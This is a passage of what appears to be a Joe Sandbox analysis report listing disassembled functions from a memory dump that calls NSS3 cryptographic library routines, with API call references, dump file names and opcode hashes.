SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE5BE03

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5BE3B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 935048b95a006725f998e40a79943bf2f93f8fef4ce20f2f9c41ad6277e42147
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: DA012BA5F4160566F61013A66C01F6766688F5129DF780038EE04AAB82FF62E12A82B6

Function 6CEB0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B
TlsGetValue.KERNEL32(00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1044
free.MOZGLUE(00000000,?,00000800,6CE4EF74,00000000), ref: 6CEB1064

Strings

security, xrefs: 6CEB1025

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction ID: e8411510a5a1b0e351f25397414f1cfbf7463c7d495852bd5c33621c07031d51
Opcode Fuzzy Hash: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction Fuzzy Hash: 4E014831A1025097E7602FACAE04B767678BF077A8F214129E808E6A51EB71C115DBD1

Function 6CEE1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE1C74

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEE1C92
free.MOZGLUE(?), ref: 6CEE1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEE1CCB
free.MOZGLUE(?), ref: 6CEE1CD2

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction ID: 58ccefd6854b92adfec43d983046822978aa110ebac2cf691acd8c6f5a596f4b
Opcode Fuzzy Hash: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction Fuzzy Hash: 1101D6B1F216119FEF64AFE4DC4DB4977B8A70B358F200124E50AE6B41D323E1454795

Function 6CEF2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEF3046

Part of subcall function 6CEDEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEC7FFB), ref: 6CEF312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEF3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF2E8B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Part of subcall function 6CEDF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEC9BFF,?,00000000,00000000), ref: 6CEDF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEC7FFA), ref: 6CEF2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF317B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction ID: 5b690a513e9cfb7eb0e8457a4326e0f006569d453a1a09c8e8b5e91cf80ed92a
Opcode Fuzzy Hash: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction Fuzzy Hash: D3A1D172A002189FDB24CF54CC85BEAB7B5EF45308F248099ED596B741E731AE46CF91

Function 6CEBED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEBED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEBEDCE

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

free.MOZGLUE(00000000,?,?,?,?,6CEBB04F), ref: 6CEBEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEBEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEBEEFB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction ID: ebbf5a1ea02d5237a03c517b2aeba27df4981938710bca21b65dfdb0fb98c347
Opcode Fuzzy Hash: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction Fuzzy Hash: 8F818CB5A006059FEB14CF99DA81BBB7BF5BF88308F24446CE815AB751D734E814CBA1

Function 6CEBCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

PR_Now.NSS3 ref: 6CEBCD35

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

Part of subcall function 6CEA6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

PR_GetCurrentThread.NSS3 ref: 6CEBCD54

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Part of subcall function 6CEA7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51CCC,00000000,00000000,?,?), ref: 6CEA729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEBCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEBCE2C

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEBCE40

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

Part of subcall function 6CEBCEE0: PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC
Part of subcall function 6CEBCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction ID: ca18196185bab8a4f25c5501a982fdf3804ffc29a08f41fea7c11aba1b8f81bd
Opcode Fuzzy Hash: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction Fuzzy Hash: 22519FB6B041019BEB10DF69DD40BBA77F4AF48358F350528E955ABB40EB31E905CB91

Function 6CECFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CECFFE5

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CED0004
PR_EnterMonitor.NSS3(?), ref: 6CED001B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction ID: cf6912bf3df46636d5cd7d85dd70adfa3c900dcda446bfb0564ce44cefebb38a
Opcode Fuzzy Hash: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction Fuzzy Hash: A5415676644680DBE7208A29DC517AB73B1DB4230CF79083DD45BCAF90E7B9B54BC642

Function 6CE8EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE8EF38

Part of subcall function 6CE79520: PK11_IsLoggedIn.NSS3(00000000,?,6CEA379E,?,00000001,?), ref: 6CE79542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE8EF53

Part of subcall function 6CE94C20: TlsGetValue.KERNEL32 ref: 6CE94C4C
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
Part of subcall function 6CE94C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
Part of subcall function 6CE94C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
Part of subcall function 6CE94C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A

PR_GetCurrentThread.NSS3 ref: 6CE8EF9E

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

free.MOZGLUE(00000000), ref: 6CE8EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE8F016
free.MOZGLUE(00000000), ref: 6CE8F022

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction ID: 857dfe920c5941a56e1e768968783f50102e164371194086a1e8b7c32e73cd1b
Opcode Fuzzy Hash: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction Fuzzy Hash: 644171B1E01109AFDF018FE9DC45BEE7AB9AF48358F244029F918A7350E775C9158BA1

Function 6CE7CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE7CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE7D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE7D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7D025
PR_NewLock.NSS3 ref: 6CE7D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7D074

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction ID: 37f52dd3845ad234a48a708af266c1fb97d7d264b86586f2623a5323e28cfe41
Opcode Fuzzy Hash: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction Fuzzy Hash: E5419FB4A012118FEB20DF29D88479A7BF5EF08328F31516ADC198BB46D774D985CBB1

Function 6CEC3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC3FF2

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEC400F

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEC4054

Part of subcall function 6CE5BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE5BC24
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BC39
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE5BC58
Part of subcall function 6CE5BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE5BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEC40CD

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 7c5012b15a47fe70b4c13eac9ad5a6a3a17f15f4907e11f7df211a26b64060f4
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7031C7B2F4034197EB009F649E42BBA3374AF9161CF244229ED199B742F771E95982A3

Function 6CE62E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE52D1A), ref: 6CE62E7E

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

PR_Now.NSS3 ref: 6CE62EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE62EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE52D1A), ref: 6CE62F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE52D1A), ref: 6CE62F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE62F81

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: b69c8bfcdd02fdc54e466797a980007dfabd98e84f1aa75f5d23beef3455b196
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: AC3145709611008BE710C667CC4ABAEB275EFB135CF74497AC429B7ED1EB31988AC752

Function 6CE50E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE50A2C), ref: 6CE50E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE50A2C), ref: 6CE50E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE50A2C), ref: 6CE50E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE50A2C), ref: 6CE50E90
free.MOZGLUE(00000000), ref: 6CE50EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE50A2C), ref: 6CE50ED9

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
